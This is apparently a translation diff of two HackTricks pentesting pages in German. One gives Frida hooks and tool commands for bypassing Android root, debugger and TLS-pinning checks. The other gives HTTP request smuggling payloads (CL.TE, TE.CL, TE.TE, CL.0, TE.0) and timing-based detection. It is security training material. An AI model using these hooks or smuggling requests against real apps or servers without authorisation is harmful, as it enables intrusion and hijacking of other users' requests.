Translated ['src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

@@ -2,30 +2,30 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Diese Seite bietet einen praktischen Workflow, um die dynamische Analyse gegen Android-Apps wiederzuerlangen, die Instrumentierung erkennen/blockieren oder TLS-Pinning durchsetzen. Sie konzentriert sich auf schnelle Triage, häufige Erkennungen und kopierbare Hooks/Taktiken, um diese zu umgehen, wenn möglich, ohne neu zu packen.
+Diese Seite bietet einen praxisorientierten Workflow, um dynamische Analyse gegen Android-Apps wiederherzustellen, die Instrumentation erkennen/Root‑Blockierungen durchführen oder TLS‑Pinning erzwingen. Sie konzentriert sich auf schnelle Triage, häufige Erkennungen und kopierbare Hooks/Taktiken, um diese nach Möglichkeit ohne Repacking zu umgehen.
 
-## Detection Surface (was Apps überprüfen)
+## Detection Surface (was Apps prüfen)
 
-- Root-Checks: su-Binärdatei, Magisk-Pfade, getprop-Werte, gängige Root-Pakete
-- Frida/Debbuger-Checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), Scannen von /proc, classpath, geladene libs
-- Native Anti-Debug: ptrace(), syscalls, anti-attach, Breakpoints, Inline-Hooks
-- Frühe Init-Checks: Application.onCreate() oder Prozessstart-Hooks, die abstürzen, wenn Instrumentierung vorhanden ist
-- TLS-Pinning: benutzerdefinierter TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt-Pinning, native Pins
+- Root-Prüfungen: su binary, Magisk-Pfade, getprop-Werte, gängige root-Pakete
+- Frida/debugger-Prüfungen (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), Scannen von /proc, classpath, geladene libs
+- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
+- Frühe Init‑Prüfungen: Application.onCreate() oder Prozess-Start-Hooks, die abstürzen, wenn Instrumentation vorhanden ist
+- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
 
-## Schritt 1 — Schneller Gewinn: Root mit Magisk DenyList verbergen
+## Schritt 1 — Quick win: Root verbergen mit Magisk DenyList
 
 - Zygisk in Magisk aktivieren
 - DenyList aktivieren, das Zielpaket hinzufügen
 - Neustarten und erneut testen
 
-Viele Apps suchen nur nach offensichtlichen Indikatoren (su/Magisk-Pfade/getprop). DenyList neutralisiert oft naive Checks.
+Viele Apps suchen nur nach offensichtlichen Indikatoren (su/Magisk‑Pfade/getprop). DenyList neutralisiert oft naive Prüfungen.
 
 Referenzen:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 
-## Schritt 2 — 30-Sekunden Frida Codeshare-Tests
+## Schritt 2 — 30‑Sekunden Frida Codeshare‑Tests
 
-Versuchen Sie gängige Drop-in-Skripte, bevor Sie tiefer eintauchen:
+Versuche gängige Drop‑in‑Skripte, bevor du tiefer gehst:
 
 - anti-root-bypass.js
 - anti-frida-detection.js
@@ -35,24 +35,24 @@ Beispiel:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-Diese stutzen typischerweise Java-Root-/Debug-Überprüfungen, Prozess-/Dienstscans und native ptrace(). Nützlich bei leicht geschützten Apps; gehärtete Ziele benötigen möglicherweise maßgeschneiderte Hooks.
+Diese setzen typischerweise Java root/debug-Prüfungen, process/service-Scans und native ptrace() außer Kraft. Nützlich bei leicht geschützten Apps; gehärtete Ziele benötigen möglicherweise maßgeschneiderte hooks.
 
 - Codeshare: https://codeshare.frida.re/
 
-## Schritt 3 — Umgehung von Init-Zeit-Detektoren durch spätes Anhängen
+## Schritt 3 — Init-time-Detektoren umgehen, indem man sich später anhängt
 
-Viele Erkennungen laufen nur während des Prozessstarts/onCreate(). Die Injektion zur Spawn-Zeit (-f) oder Gadgets werden erkannt; das Anhängen nach dem Laden der UI kann vorbeigleiten.
+Viele Detektionen laufen nur während des process spawn/onCreate(). Spawn‑time injection (-f) oder gadgets werden erwischt; ein späteres Anhängen, nachdem die UI geladen ist, kann unbemerkt vorbeischlüpfen.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-Wenn dies funktioniert, halten Sie die Sitzung stabil und fahren Sie mit der Kartierung und den Stub-Überprüfungen fort.
+Wenn das funktioniert, halte die Sitzung stabil und fahre mit Map- und Stub-Checks fort.
 
-## Schritt 4 — Kartierung der Erkennungslogik über Jadx und String-Suche
+## Schritt 4 — Erkennungslogik mit Jadx kartieren und nach Strings durchsuchen
 
-Statische Triage-Schlüsselwörter in Jadx:
+Statische Triage-Stichwörter in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
 
 Typische Java-Muster:
@@ -61,16 +61,16 @@ public boolean isFridaDetected() {
 return getRunningServices().contains("frida");
 }
 ```
-Häufige APIs zur Überprüfung/Hooking:
+Gängige APIs to review/hook:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
 - java.lang.System.loadLibrary / System.load (native bridge)
-- java.lang.Runtime.exec / ProcessBuilder (Befehlsabfragen)
-- android.os.SystemProperties.get (Root-/Emulator-Heuristiken)
+- java.lang.Runtime.exec / ProcessBuilder (probing commands)
+- android.os.SystemProperties.get (root/emulator heuristics)
 
 ## Schritt 5 — Runtime-Stubbing mit Frida (Java)
 
-Überschreiben Sie benutzerdefinierte Schutzmaßnahmen, um sichere Werte ohne Repacking zurückzugeben:
+Überschreibe benutzerdefinierte Guards, damit sie sichere Werte zurückgeben, ohne die App neu zu packen:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-Frühe Abstürze triagieren? Klassen kurz bevor sie abstürzt dumpen, um wahrscheinlich erkennbare Namensräume zu identifizieren:
+Frühe Abstürze triagieren? Dump classes kurz bevor die App abstürzt, um wahrscheinliche Detection-Namespaces zu identifizieren:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
 });
 });
 ```
-Protokollieren und neutralisieren Sie verdächtige Methoden, um den Ausführungsfluss zu bestätigen:
+Protokolliere und neutralisiere verdächtige Methoden, um den Ausführungsfluss zu bestätigen:
 ```js
 Java.perform(() => {
 const Det = Java.use('com.example.security.DetectionManager');
@@ -104,24 +104,24 @@ return false;
 };
 });
 ```
-## Schritt 6 — Verfolgen Sie die JNI/nativen Pfad, wenn Java-Hooks fehlschlagen
+## Schritt 6 — Folge der JNI/native-Spur, wenn Java hooks fehlschlagen
 
-Verfolgen Sie JNI-Einstiegspunkte, um native Loader und Erkennungsinitialisierungen zu lokalisieren:
+Verfolge JNI-Einstiegspunkte, um native Loader und die Erkennungs-Initialisierung zu lokalisieren:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-Schnelle native Triage von gebündelten .so-Dateien:
+Schnelle native triage gebündelter .so-Dateien:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
 objdump -T libfoo.so | grep Java_
 strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
 ```
-Interaktive/native Umkehrung:
+Interaktives/native reversing:
 - Ghidra: https://ghidra-sre.org/
 - r2frida: https://github.com/nowsecure/r2frida
 
-Beispiel: neuter ptrace, um einfache Anti-Debugging-Maßnahmen in libc zu überwinden:
+Beispiel: ptrace neutralisieren, um einfachen anti‑debug in libc zu umgehen:
 ```js
 const ptrace = Module.findExportByName(null, 'ptrace');
 if (ptrace) {
@@ -130,40 +130,43 @@ return -1; // pretend failure
 }, 'int', ['int', 'int', 'pointer', 'pointer']));
 }
 ```
-Siehe auch: {{#ref}}
+Siehe auch:
+{{#ref}}
 reversing-native-libraries.md
 {{#endref}}
 
-## Schritt 7 — Objection-Patching (Gadget einbetten / Grundlagen entfernen)
+## Schritt 7 — Objection patching (embed gadget / strip basics)
 
-Wenn Sie Repacking den Runtime-Hooks vorziehen, versuchen Sie:
+Wenn Sie repacking dem Einsatz von runtime hooks vorziehen, versuchen Sie:
 ```bash
 objection patchapk --source app.apk
 ```
 Hinweise:
-- Erfordert apktool; stellen Sie sicher, dass Sie eine aktuelle Version aus dem offiziellen Leitfaden verwenden, um Build-Probleme zu vermeiden: https://apktool.org/docs/install
-- Gadget-Injektion ermöglicht Instrumentierung ohne Root, kann jedoch immer noch von stärkeren Init-Zeit-Prüfungen erfasst werden.
+- Benötigt apktool; stellen Sie sicher, dass Sie eine aktuelle Version gemäß der offiziellen Anleitung verwenden, um Build-Probleme zu vermeiden: https://apktool.org/docs/install
+- Gadget injection ermöglicht Instrumentierung ohne root, kann aber durch strengere init‑time checks erkannt werden.
 
 Referenzen:
 - Objection: https://github.com/sensepost/objection
 
-## Schritt 8 — Fallback: Patchen Sie TLS-Pinning für Netzwerk-Sichtbarkeit
+## Schritt 8 — Fallback: TLS pinning patchen für Netzwerk-Sichtbarkeit
 
-Wenn die Instrumentierung blockiert ist, können Sie den Datenverkehr weiterhin inspizieren, indem Sie das Pinning statisch entfernen:
+Wenn Instrumentierung blockiert ist, können Sie den Traffic weiterhin untersuchen, indem Sie das Pinning statisch entfernen:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
 - Tool: https://github.com/shroudedcode/apk-mitm
-- Für Netzwerk-CA-Vertrauens-Tricks (und Android 7+ Benutzer-CA-Vertrauen) siehe:
+- Für Netzwerk-Konfigurations-CA‑trust-Tricks (und Android 7+ Nutzer-CA-Trust), siehe:
+
 {{#ref}}
 make-apk-accept-ca-certificate.md
 {{#endref}}
+
 {{#ref}}
 install-burp-certificate.md
 {{#endref}}
 
-## Nützliche Befehlsübersicht
+## Praktische Befehlsübersicht
 ```bash
 # List processes and attach
 frida-ps -Uai
@@ -183,10 +186,10 @@ apk-mitm app.apk
 ```
 ## Tipps & Hinweise
 
-- Bevorzuge das Anhängen spät über das Erzeugen, wenn Apps beim Start abstürzen
-- Einige Erkennungen werden in kritischen Abläufen (z. B. Zahlung, Authentifizierung) erneut ausgeführt — halte Hooks während der Navigation aktiv
-- Mische statische und dynamische Methoden: String-Suche in Jadx, um Klassen auszuwählen; dann Methoden hooken, um zur Laufzeit zu verifizieren
-- Härtete Apps können Packager und native TLS-Pinning verwenden — erwarte, nativen Code zurückzusetzen
+- Bevorzuge spätes Attaching gegenüber Spawning, wenn Apps beim Start abstürzen
+- Einige Detections laufen in kritischen Flows (z. B. payment, auth) erneut — halte Hooks während der Navigation aktiv
+- Kombiniere statische und dynamische Analyse: string hunt in Jadx, um Klassen vorzuselektieren; dann hook methods, um zur Laufzeit zu verifizieren
+- Gehärtete Apps können packers und native TLS pinning verwenden — rechne damit, nativen Code zu reverse-engineeren
 
 ## Referenzen
 

src/pentesting-web/http-request-smuggling/README.md

@@ -2,62 +2,63 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 ## Was ist
 
-Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxys** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP **Anfrage** zu **senden**, die von den **Front-End**-Proxys (Lastenausgleich/Reverse-Proxy) als **eine Anfrage** und vom **Back-End**-Server als **2 Anfragen** interpretiert wird.\
-Dies ermöglicht es einem Benutzer, **die nächste Anfrage zu ändern, die nach seiner** an den Back-End-Server ankommt.
+Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxies** und dem **Back-End-Server** es einem **Angreifer** erlaubt, eine HTTP **Request** zu **senden**, die von den **Front-End**-Proxies (Load Balancer / Reverse-Proxy) als **eine einzelne Request** und vom **Back-End**-Server **als 2 Requests** **interpretiert** wird.\
+Dies ermöglicht einem Benutzer, die **nächste Request, die am Back-End-Server ankommt, nach seiner eigenen** zu **verändern**.
 
 ### Theorie
 
-[**RFC-Spezifikation (2161)**](https://tools.ietf.org/html/rfc2616)
+[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
-> Wenn eine Nachricht mit sowohl einem Transfer-Encoding-Headerfeld als auch einem Content-Length-Headerfeld empfangen wird, muss letzterer ignoriert werden.
+> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
 
 **Content-Length**
 
-> Der Content-Length-Entitätsheader gibt die Größe des Entitätskörpers in Bytes an, die an den Empfänger gesendet wird.
+> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
 
 **Transfer-Encoding: chunked**
 
-> Der Transfer-Encoding-Header gibt die Form der Kodierung an, die verwendet wird, um den Payload-Körper sicher an den Benutzer zu übertragen.\
-> Chunked bedeutet, dass große Daten in einer Reihe von Chunks gesendet werden.
+> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
+> Chunked means that large data is sent in a series of chunks
 
 ### Realität
 
-Das **Front-End** (ein Lastenausgleich / Reverse Proxy) **verarbeitet** den _**Content-Length**_ oder den _**Transfer-Encoding**_ Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den 2 Systemen verursacht.\
-Dies könnte sehr kritisch sein, da **ein Angreifer in der Lage sein wird, eine Anfrage** an den Reverse-Proxy zu senden, die vom **Back-End**-Server **als 2 verschiedene Anfragen** interpretiert wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **2. injizierte Anfrage** so interpretiert, als ob sie **vom nächsten Client** stammt und die **echte Anfrage** dieses Clients **Teil** der **injizierten Anfrage** sein wird.
+Das **Front-End** (ein Load-Balancer / Reverse Proxy) **verarbeitet** den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End**-Server **verarbeitet den anderen**, wodurch eine **Desynchronisation** zwischen den beiden Systemen entsteht.\
+Das kann sehr kritisch sein, da **ein Angreifer eine einzelne Request** an den Reverse-Proxy senden kann, die vom **Back-End**-Server **als 2 verschiedene Requests** **interpretiert** wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **eingeschleuste 2. Request** so interpretiert, als käme sie **vom nächsten Client**, und die **echte Request** dieses Clients Teil der **eingeschleusten Request** wird.
 
 ### Besonderheiten
 
-Denken Sie daran, dass in HTTP **ein neuer Zeilenzeichen aus 2 Bytes besteht:**
+Denke daran, dass im HTTP-Protokoll **ein Zeilenumbruch aus 2 Bytes besteht:**
 
-- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Körpers** der Anfrage anzugeben. Der Körper wird erwartet, dass er mit dem letzten Zeichen endet, **ein neuer Zeilenzeichen ist am Ende der Anfrage nicht erforderlich**.
-- **Transfer-Encoding:** Dieser Header verwendet im **Körper** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **neuen Zeilenzeichen** enden, aber dieses neue Zeilenzeichen **wird nicht** vom Längenindikator gezählt. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 neuen Zeilen** enden: `0`
-- **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** in der ersten Anfrage des Request Smuggling zu verwenden.
+- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der Request anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, **ein Zeilenumbruch am Ende der Request ist nicht nötig**.
+- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Das **Chunk** muss mit einem **Zeilenumbruch enden**, aber dieser Zeilenumbruch **wird nicht** in der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem **Chunk der Größe 0 gefolgt von 2 Zeilenumbrüchen** enden: `0`
+- **Connection**: Nach meiner Erfahrung wird empfohlen, bei der ersten Request des Request Smuggling **`Connection: keep-alive`** zu verwenden.
 
-## Grundlegende Beispiele
+## Basic Examples
 
 > [!TIP]
-> Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets mit neuen Zeilen, Wagenrückläufen und fehlerhaften Content-Lengths missbraucht werden.
+> Wenn du versuchst, das mit Burp Suite auszunutzen, deaktiviere im Repeater **`Update Content-Length` und `Normalize HTTP/1 line endings`**, weil einige Gadgets Newlines, Carriage Returns und malformed Content-Lengths ausnutzen.
 
-HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, wenn die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
+HTTP request smuggling attacks werden durch das Senden ambiger Requests erzeugt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE) Header zwischen Front-End- und Back-End-Servern ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination davon, wie Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen dadurch, dass die Server dieselbe Request unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
 
-### Grundlegende Beispiele für Schwachstelltypen
+### Basic Examples of Vulnerability Types
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Zu der vorherigen Tabelle sollten Sie die TE.0-Technik hinzufügen, wie die CL.0-Technik, aber unter Verwendung von Transfer-Encoding.
+> Zur vorherigen Tabelle sollte man die TE.0-Technik hinzufügen, ähnlich der CL.0-Technik, aber mit Transfer-Encoding.
 
-#### CL.TE-Schwachstelle (Content-Length wird vom Front-End verwendet, Transfer-Encoding wird vom Back-End verwendet)
+#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
-- **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
-- **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
-- **Angriffsszenario:**
+- **Front-End (CL):** Verarbeitet die Request basierend auf dem `Content-Length`-Header.
+- **Back-End (TE):** Verarbeitet die Request basierend auf dem `Transfer-Encoding`-Header.
+- **Angriffs-Szenario:**
 
-- Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Inhaltslänge übereinstimmt.
-- Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem `Content-Length`-Wert.
-- Der Back-End-Server verarbeitet die Anfrage als chunked aufgrund des `Transfer-Encoding: chunked`-Headers und interpretiert die verbleibenden Daten als eine separate, nachfolgende Anfrage.
+- Der Angreifer sendet eine Request, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Content-Länge übereinstimmt.
+- Der Front-End-Server leitet die gesamte Request entsprechend dem `Content-Length`-Wert an das Back-End weiter.
+- Der Back-End-Server verarbeitet die Request als chunked aufgrund des Headers `Transfer-Encoding: chunked` und interpretiert die verbleibenden Daten als eine separate, nachfolgende Request.
 - **Beispiel:**
 
 ```
@@ -73,15 +74,15 @@ GET /404 HTTP/1.1
 Foo: x
 ```
 
-#### TE.CL-Schwachstelle (Transfer-Encoding wird vom Front-End verwendet, Content-Length wird vom Back-End verwendet)
+#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
 
-- **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
-- **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
-- **Angriffsszenario:**
+- **Front-End (TE):** Verarbeitet die Request basierend auf dem `Transfer-Encoding`-Header.
+- **Back-End (CL):** Verarbeitet die Request basierend auf dem `Content-Length`-Header.
+- **Angriffs-Szenario:**
 
-- Der Angreifer sendet eine chunked Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen.
-- Der Front-End-Server, der `Transfer-Encoding` respektiert, leitet die gesamte Anfrage an das Back-End weiter.
-- Der Back-End-Server, der `Content-Length` respektiert, verarbeitet nur den ersten Teil der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage.
+- Der Angreifer sendet eine chunked Request, bei der die Chunk-Größe (`7b`) und die tatsächliche Content-Länge (`Content-Length: 4`) nicht übereinstimmen.
+- Der Front-End-Server, der `Transfer-Encoding` beachtet, leitet die gesamte Request an das Back-End weiter.
+- Der Back-End-Server, der `Content-Length` respektiert, verarbeitet nur den initialen Teil der Request (`7b` Bytes), wodurch der Rest als Teil einer unbeabsichtigten nachfolgenden Request übrig bleibt.
 - **Beispiel:**
 
 ```
@@ -102,14 +103,14 @@ x=
 
 ```
 
-#### TE.TE-Schwachstelle (Transfer-Encoding wird von beiden verwendet, mit Obfuskation)
+#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
 
 - **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.
-- **Angriffsszenario:**
+- **Angriffs-Szenario:**
 
-- Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding`-Headern.
+- Der Angreifer sendet eine Request mit obfuskierten `Transfer-Encoding`-Headern.
 - Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
-- Der nicht verarbeitete Teil der Anfrage, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Anfrage, was zu Smuggling führt.
+- Der nicht verarbeitete Teil der Request, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Request und führt so zum Smuggling.
 - **Beispiel:**
 
 ```
@@ -129,10 +130,10 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **CL.CL-Szenario (Content-Length wird sowohl vom Front-End als auch vom Back-End verwendet)**
+#### **CL.CL Szenario (Content-Length used by both Front-End and Back-End)**
 
-- Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length`-Header.
-- Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Art und Weise gibt, wie beide Server die Anfragenlänge interpretieren.
+- Beide Server verarbeiten die Request ausschließlich basierend auf dem `Content-Length`-Header.
+- Dieses Szenario führt typischerweise nicht zu Smuggling, da Übereinstimmung darin besteht, wie beide Server die Request-Länge interpretieren.
 - **Beispiel:**
 
 ```
@@ -141,13 +142,13 @@ Host: vulnerable-website.com
 Content-Length: 16
 Connection: keep-alive
 
-Normale Anfrage
+Normal Request
 ```
 
-#### **CL.0-Szenario**
+#### **CL.0 Szenario**
 
-- Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was darauf hinweist, dass der Anfragekörper Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (der als 0 behandelt wird), aber das Front-End analysiert ihn.
-- Es ist entscheidend für das Verständnis und die Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
+- Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (der als 0 behandelt wird), aber das Front-End parst ihn.
+- Das ist wichtig zum Verständnis und zur Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Request bestimmen.
 - **Beispiel:**
 
 ```
@@ -156,14 +157,14 @@ Host: vulnerable-website.com
 Content-Length: 16
 Connection: keep-alive
 
-Nicht leerer Körper
+Non-Empty Body
 ```
 
-#### TE.0-Szenario
+#### TE.0 Szenario
 
-- Wie das vorherige, aber unter Verwendung von TE
-- Technik [hier gemeldet](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- **Beispiel:**
+- Wie das vorherige, aber mit TE
+- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- **Beispiel**:
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@@ -181,33 +182,34 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Brechen des Webservers
+#### Den Webserver zum Absturz bringen
 
-Diese Technik ist auch in Szenarien nützlich, in denen es möglich ist, **einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden**, aber **ohne die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als die **nächste HTTP-Anfrage** betrachtet.
+Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, einen Webserver beim Lesen der initialen HTTP-Daten zu brechen, aber ohne die Verbindung zu schließen. Auf diese Weise wird der **body** der **HTTP request** als die **nächste HTTP request** betrachtet.
 
-Zum Beispiel, wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, und es wird den Server **brechen**. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt weiterhin offen, sodass der **Body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.
+Zum Beispiel, wie in [**this writeup**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, wodurch der Server **abstürzen** konnte. Wenn die HTTP connection jedoch mit dem Header **`Connection: keep-alive`** aufgebaut wurde, würde der body der request nicht gelesen und die Verbindung bliebe offen, sodass der **body** der request als die **nächste HTTP request** behandelt würde.
 
-#### Erzwingen über Hop-by-Hop-Header
+#### Erzwingen über hop-by-hop headers
 
-Durch den Missbrauch von Hop-by-Hop-Headern könnten Sie den Proxy anweisen, **den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP-Request-Smuggling möglich ist, um missbraucht zu werden**.
+Indem man hop-by-hop headers missbraucht, könnte man dem Proxy signalisieren, den Header **Content-Length** oder **Transfer-Encoding** zu löschen, sodass ein **HTTP request smuggling** ausgenutzt werden kann.
 ```
 Connection: Content-Length
 ```
-Für **weitere Informationen zu hop-by-hop-Headern** besuchen Sie:
+Für **mehr Informationen über hop-by-hop headers** siehe:
+
 
 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## Finden von HTTP Request Smuggling
+## Aufspüren von HTTP Request Smuggling
 
-Die Identifizierung von HTTP Request Smuggling-Schwachstellen kann oft durch Timing-Techniken erreicht werden, die darauf basieren, wie lange der Server benötigt, um auf manipulierte Anfragen zu reagieren. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden:
+Die Identifizierung von HTTP request smuggling-Schwachstellen kann oft mithilfe von Timing-Techniken erfolgen, die darauf beruhen, zu beobachten, wie lange der Server für die Antwort auf manipulierte Requests benötigt. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, mit denen solche Schwachstellen gefunden werden können:
 
-### Finden von CL.TE-Schwachstellen mit Timing-Techniken
+### Auffinden von CL.TE-Schwachstellen mit Timing-Techniken
 
 - **Methode:**
 
-- Senden Sie eine Anfrage, die, falls die Anwendung anfällig ist, den Backend-Server dazu bringt, auf zusätzliche Daten zu warten.
+- Sende einen Request, der — falls die Anwendung verwundbar ist — dazu führt, dass der Back-end-Server auf zusätzliche Daten wartet.
 - **Beispiel:**
 
 ```
@@ -223,18 +225,18 @@ A
 ```
 
 - **Beobachtung:**
-- Der Frontend-Server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab.
-- Der Backend-Server, der eine chunked Nachricht erwartet, wartet auf den nächsten Chunk, der nie ankommt, was zu einer Verzögerung führt.
+- Der Front-end-Server verarbeitet die Anfrage basierend auf `Content-Length` und beendet die Nachricht vorzeitig.
+- Der Back-end-Server, der eine chunked-Nachricht erwartet, wartet auf das nächste Chunk, das nie eintrifft, was zu einer Verzögerung führt.
 
 - **Indikatoren:**
-- Timeouts oder lange Verzögerungen bei der Antwort.
-- Erhalt eines 400 Bad Request-Fehlers vom Backend-Server, manchmal mit detaillierten Serverinformationen.
+- Timeouts oder lange Verzögerungen in der Antwort.
+- Empfang eines 400 Bad Request-Fehlers vom Back-end-Server, manchmal mit detaillierten Serverinformationen.
 
-### Finden von TE.CL-Schwachstellen mit Timing-Techniken
+### Auffinden von TE.CL-Schwachstellen mit Timing-Techniken
 
 - **Methode:**
 
